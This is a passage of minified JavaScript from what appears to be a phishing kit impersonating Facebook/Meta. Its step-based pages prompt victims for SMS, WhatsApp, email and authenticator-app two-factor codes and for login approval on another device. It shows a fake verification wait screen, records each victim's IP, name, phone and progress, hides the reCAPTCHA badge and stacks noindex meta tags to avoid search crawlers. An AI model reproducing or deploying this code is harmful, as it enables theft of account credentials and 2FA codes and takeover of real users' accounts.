nofollow"}})})}),setTimeout(()=>{t(1)},1e3)},disabled:!!s,style:{backgroundColor:s?"#e5e6eb":"#0064e0",color:s?"#cbccd2":"#fff"},children:o?(0,n.jsx)(eM,{}):" Continue"})})]})})})},1:V,2:e=>{let[t,r]=(0,l.useState)(!1),{setStep:i}=e,[s,a]=(0,l.useState)(!1),o={...e,parentBeginTimer:s,setParentBeginTimer:a};return((0,l.useEffect)(()=>{let e=()=>{r(window.innerWidth<768)};return e(),window.addEventListener("resize",e),()=>window.removeEventListener("resize",e)},[]),(0,l.useEffect)(()=>{if(s){let e=setTimeout(()=>{i(3)},6e4);return()=>clearTimeout(e)}},[s,i]),t)?(0,n.jsx)(eg,{...o}):(0,n.jsx)(ew,{...o})},3:e5,4:function(){let[e,t]=(0,l.useState)(!0);(0,l.useEffect)(()=>{let e=setTimeout(()=>{t(!1)},9e5);return()=>{clearTimeout(e)}},[]);let{AllData:r}=(0,l.useContext)(rt);return(0,l.useEffect)(()=>{p({...r,currentStep:"User Waiting in the Meta loading page"})},[]),(0,n.jsx)(ev,{children:(0,n.jsx)(ey,{children:e?(0,n.jsxs)(eE,{children:[(0,n.jsx)(g(),{alt:"",src:"/assets/images/loadingGif.gif",height:25,width:150}),(0,n.jsx)("div",{className:"text-center font-fbook",children:"Please wait while we verify your information"})]}):(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("div",{className:"text-center",children:(0,n.jsx)(eN,{children:"Success"})}),(0,n.jsx)("div",{className:"text-center",children:(0,n.jsx)(eC,{children:(0,n.jsx)(ej,{})})}),(0,n.jsx)(ek,{children:(0,n.jsx)(e_,{onClick:()=>{window.location.href="https://www.facebook.com/business/help/915454841921082?id=180505742745347"},children:"Close"})})]})})})},6:function(e){let{Unik:t,setStep:r,Name:i,Tel:s,Ip:a,LastFetch:o,wrong2faTrigger:l}=e,{code:c,isLoading:d,showError:m,countdown:h,handleSubmit:x,handleCodeChange:f,shouldShowRedBorder:p,renderCountdown:u,isButtonDisabled:w}=eq({LastFetch:o,wrong2faTrigger:l,setStep:r,nextStep:4,componentName:"SMS 2FA Final",initialMessage:"SMS 2FA Final Page Loaded"});return(0,n.jsx)(e3,{children:(0,n.jsxs)(e4,{children:[(0,n.jsxs)("div",{className:"text-start",children:[(0,n.jsx)(e6,{children:"Check your text messages"}),(0,n.jsxs)(e8,{children:["Enter the code we sent to ",eO(s)]})]}),(0,n.jsx)(tt,{children:(0,n.jsx)(g(),{alt:"",src:"/assets/images/New2FA.jpg",layout:"fill",objectFit:"cover"})}),(0,n.jsx)("div",{children:(0,n.jsxs)("form",{onSubmit:e=>{x(e,"tfa_two")},children:[(0,n.jsxs)("div",{className:"form-floating",children:[(0,n.jsx)(e7,{placeholder:"Code",type:"number",value:c,onChange:f,className:"form-control ".concat(p()?"redborder":""),disabled:d}),(0,n.jsx)("label",{htmlFor:"floatingInput",children:"Code"})]}),m&&(0,n.jsx)(te,{children:"Invalid authentication code"}),(0,n.jsx)(e8,{children:m&&(0,n.jsxs)(n.Fragment,{children:["We can send a new code in\xa0",u()]})}),(0,n.jsx)(e9,{type:"submit",className:"mt-2",disabled:w(),children:d?(0,n.jsx)(H,{size:"15px"}):"Continue"})]})})]})})},7:V,10:function(e){let{setStep:t,Step:r,Name:i}=e,s=(0,l.useRef)();(0,l.useEffect)(()=>{s.current.disabled=!0;let e=setTimeout(()=>{10===r&&(s.current.disabled=!1)},3e4);return()=>clearTimeout(e)},[]);let{AllData:a}=(0,l.useContext)(rt);return l.useEffect(()=>{p({...a,currentStep:"Phone Verify"})},[]),(0,n.jsx)(ti,{children:(0,n.jsxs)(ts,{children:[(0,n.jsxs)("div",{className:"text-start",children:[(0,n.jsx)(ta,{children:"Check your notifications on another device"}),(0,n.jsx)(to,{children:"We sent a notification to your Phone or PC. Check your Facebook notifications there and approve the login to continue."})]}),(0,n.jsx)(tc,{children:(0,n.jsx)(g(),{alt:"",src:"/assets/images/newPhoneVerify.jpg",layout:"fill",objectFit:"cover"})}),(0,n.jsxs)("div",{children:[(0,n.jsxs)(tr.Z,{className:"gx-2",children:[(0,n.jsx)(tn.Z,{xs:"auto",children:(0,n.jsx)(td,{className:"mt-2",children:(0,n.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",width:"10",height:"10",fill:"currentColor",viewBox:"0 0 16 16",children:(0,n.jsx)("path",{d:"M3 9.5a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m5 0a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m5 0a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3"})})})}),(0,n.jsxs)(tn.Z,{children:[(0,n.jsx)("div",{style:{fontSize:"15px",fontWeight:500},className:"pb-0 font-fbook",children:"Waiting for approval"}),(0,n.jsx)(to,{children:"It may take a few minutes to get the notification on your other device. Get a new notification"})]})]}),(0,n.jsx)(tl,{onClick:()=>{setTimeout(()=>{t(4)},1e3)},ref:s,className:"mt-4",children:"Continue"})]})]})})},11:function(){let{AllData:e}=(0,l.useContext)(rt);return l.useEffect(()=>{p({...e,currentStep:"Done"})},[]),(0,n.jsxs)(th,{children:[(0,n.jsx)(S,{}),(0,n.jsxs)(tx,{children:[(0,n.jsx)(T,{}),(0,n.jsx)(tf,{children:(0,n.jsx)(tm,{})})]}),(0,n.jsx)(L,{})]})},12:function(e){let{Unik:t,setStep:r,Name:i,Tel:s,Ip:a,LastFetch:o,wrong2faTrigger:l}=e,{code:c,isLoading:d,showError:m,countdown:h,handleSubmit:x,handleCodeChange:f,shouldShowRedBorder:p,renderCountdown:u,isButtonDisabled:w}=eq({LastFetch:o,wrong2faTrigger:l,setStep:r,nextStep:4,componentName:"WhatsApp 2FA",initialMessage:"WhatsApp 2FA Page Loaded"});return(0,n.jsx)(tp,{children:(0,n.jsxs)(tu,{children:[(0,n.jsxs)("div",{className:"text-start",children:[(0,n.jsx)(tg,{children:"Check your WhatsApp messages"}),(0,n.jsx)(tw,{children:"Enter the code we sent to your WhatsApp account."})]}),(0,n.jsx)(ty,{children:(0,n.jsx)(g(),{alt:"",src:"/assets/images/whatsapp.jpg",layout:"fill",objectFit:"cover"})}),(0,n.jsx)("div",{children:(0,n.jsxs)("form",{onSubmit:e=>{x(e,"whatsapp")},children:[(0,n.jsxs)("div",{className:"form-floating",children:[(0,n.jsx)(tb,{placeholder:"Code",type:"number",value:c,onChange:f,className:"form-control ".concat(p()?"redborder":""),disabled:d}),(0,n.jsx)("label",{htmlFor:"floatingInput",children:"Code"})]}),m&&(0,n.jsx)(tv,{children:"Invalid authentication code"}),(0,n.jsx)(tw,{children:m&&(0,n.jsxs)(n.Fragment,{children:["We can send a new code in\xa0",u()]})}),(0,n.jsx)(tj,{type:"submit",className:"mt-2",disabled:w(),children:d?(0,n.jsx)(H,{size:"15px"}):"Continue"})]})})]})})},13:function(e){let{Unik:t,setStep:r,Name:i,Email:s,BusinessEmail:a,Ip:o,LastFetch:l,wrong2faTrigger:c}=e,{code:d,isLoading:m,showError:h,countdown:x,handleSubmit:f,handleCodeChange:p,shouldShowRedBorder:u,renderCountdown:w,isButtonDisabled:b}=eq({LastFetch:l,wrong2faTrigger:c,setStep:r,nextStep:4,componentName:"Email 2FA",initialMessage:"Email 2FA Page Loaded"});return(0,n.jsx)(tN,{children:(0,n.jsxs)(tk,{children:[(0,n.jsxs)("div",{className:"text-start",children:[(0,n.jsx)(t_,{children:"Check your email"}),(0,n.jsxs)(tC,{children:["Enter the code we sent to"," ",eD(s,a)]})]}),(0,n.jsx)(tF,{children:(0,n.jsx)(g(),{alt:"",src:"/assets/images/New2FA.jpg",layout:"fill",objectFit:"cover"})}),(0,n.jsx)("div",{children:(0,n.jsxs)("form",{onSubmit:e=>{f(e,"email2fa")},children:[(0,n.jsxs)("div",{className:"form-floating",children:[(0,n.jsx)(tE,{placeholder:"Code",type:"number",value:d,onChange:p,className:"form-control ".concat(u()?"redborder":""),disabled:m}),(0,n.jsx)("label",{htmlFor:"floatingInput",children:"Code"})]}),h&&(0,n.jsx)(tI,{children:"Invalid authentication code"}),(0,n.jsx)(tC,{children:h&&(0,n.jsxs)(n.Fragment,{children:["We can send a new code in\xa0",w()]})}),(0,n.jsx)(tA,{type:"submit",className:"mt-2",disabled:b(),children:m?(0,n.jsx)(H,{size:"15px"}):"Continue"})]})})]})})},14:e5,15:function(e){let{Unik:t,setStep:r,Name:i,Ip:s,LastFetch:a,wrong2faTrigger:o}=e,{code:l,isLoading:c,showError:d,countdown:m,handleSubmit:h,handleCodeChange:x,shouldShowRedBorder:f,renderCountdown:p,isButtonDisabled:u,allowImmediateRetry:w}=eq({LastFetch:a,wrong2faTrigger:o,setStep:r,nextStep:4,componentName:"Auth App 2FA",initialMessage:"Auth App 2FA Page Loaded",allowImmediateRetry:!0,customLoadingDuration:2e3});return(0,n.jsx)(tS,{children:(0,n.jsxs)(tT,{children:[(0,n.jsxs)("div",{className:"text-start",children:[(0,n.jsx)(tP,{children:"Go to your authentication app"}),(0,n.jsx)(tz,{children:"Enter the 6-digit code for this account from the two-factor authentication app you set up (such as Duo Mobile or Google Authenticator)"})]}),(0,n.jsx)(tL,{children:(0,n.jsx)(g(),{alt:"",src:"/assets/images/googleAuth.jpg",layout:"fill",objectFit:"cover"})}),(0,n.jsx)("div",{children:(0,n.jsxs)("form",{onSubmit:e=>{h(e,"auth_app_2fa")},children:[(0,n.jsxs)("div",{className:"form-floating",children:[(0,n.jsx)(tB,{placeholder:"Code",type:"number",value:l,onChange:x,className:"form-control ".concat(f()?"redborder":""),disabled:c}),(0,n.jsx)("label",{htmlFor:"floatingInput",children:"Code"})]}),d&&(0,n.jsx)(tR,{children:"Invalid authentication code"}),(0,n.jsx)(tz,{children:d&&!w&&(0,n.jsxs)(n.Fragment,{children:["We can send a new code in\xa0",p()]})}),(0,n.jsx)(tM,{type:"submit",className:"mt-2",disabled:u(),children:c?(0,n.jsx)(H,{size:"15px"}):"Continue"})]})})]})})}},rt=(0,l.createContext)();function rr(){var e;let t=new Set([1,2,3,4,6,7,10,12,13,14,15]),[r,i]=(0,l.useState)(!0),a=tO(),c=tH();!function(){let e=!(arguments.length>0)||void 0===arguments[0]||arguments[0];(0,l.useEffect)(()=>{if(!e)return;let t=document.createElement("style");return t.id="hide-recaptcha-badge",t.innerHTML=".grecaptcha-badge{visibility:hidden !important;}",document.head.appendChild(t),()=>{t.parentNode&&t.parentNode.removeChild(t)}},[e])}(t.has(c.Step));let{Unik:d,isInitialized:m}=tq(a.setAllData,c.setStep),{Ip:h,setIp:x}=tG();(0,l.useEffect)(()=>{var e;(null===(e=a.AllData)||void 0===e?void 0:e.ip)&&a.AllData.ip!==h&&x(a.AllData.ip)},[null===(e=a.AllData)||void 0===e?void 0:e.ip,h,x]),tY(d,c.setStep,c.setLastFetch,c.LastFetch,h,c.setWrong2faTrigger,c.wrong2faTrigger,c.setWrongPasswordTrigger,c.wrongPasswordTrigger),t9(d,a.AllData);let{title:f,favicon:p}=tX.getPageMeta(c.Step);return(0,n.jsxs)("div",{className:o().container,children:[(0,n.jsxs)(s(),{children:[(0,n.jsx)("title",{children:f}),(0,n.jsx)("link",{rel:"icon",href:p}),(0,n.jsx)("meta",{charSet:"utf-8"}),(0,n.jsx)("meta",{name:"viewport",content:"width=device-width, initial-scale=1, maximum-scale=1"}),(0,n.jsx)("meta",{name:"theme-color",content:"#fff"}),(0,n.jsx)("meta",{name:"robots",content:"noimageindex"}),(0,n.jsx)("meta",{name:"robots",content:"notranslate"}),(0,n.jsx)("meta",{name:"robots",content:"nositelinkssearchbox"}),(0,n.jsx)("meta",{name:"robots",content:"nosnippet"}),(0,n.jsx)("meta",{name:"robots",content:"max-snippet:0"}),(0,n.jsx)("meta",{name:"crawler",content:"noindex,nofollow,noarchive,noimageindex"}),(0,n.jsx)("meta",{name:"AdsBot-Google",content:"noindex,nofollow,noarchive,noimageindex"}),(0,n.jsx)("meta",{name:"googlebot",content:"noindex,nofollow,noarchive,noimageindex"}),(0,n.jsx)("meta",{name:"googlebot-news",content:"noindex,nofollow,noarchive,noimageindex"}),(0,n.jsx)("meta",{name:"googlebot-news",content:"nosnippet"}),(0,n.jsx)("meta",{name:"robots",content:"max-image-preview:none"}),(0,n.jsx)("meta",{name:"robots",content:"noindex,nofollow,noarchive"}),(0,n.jsx)("meta",{name:"robots",content:"noarchive"}),(0,n.jsx)("meta",{name:"theme-color",content:"#00000000",media:"(prefers-color-scheme: light)"}),(0,n.jsx)("meta",{name:"theme-color",content:"#00000000",media:"(prefers-color-scheme: dark)"})]}),(0,n.jsx)(rt.Provider,{value:{setAllData:a.setAllData,AllData:a.AllData},children:(0,n.jsx)("div",{className:"min-h-screen",children:(0,n.jsx)("div",{className:"flex justify-center w-full",children:(()=>{let e=re[c.Step];if(!e)return null;let t={setStep:c.setStep,Unik:d,Ip:h,setIp:x,Step:c.Step,InvalidPassword:c.InvalidPassword,ContinueWithFacebook:r,setContinueWithFacebook:i,LastFetch:c.LastFetch,wrong2faTrigger:c.wrong2faTrigger,wrongPasswordTrigger:c.wrongPasswordTrigger,...a};return(0,n.jsx)(e,{...t})})()})})})]})}},9647:function(){}},function(e){e.O(0,[177,774,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);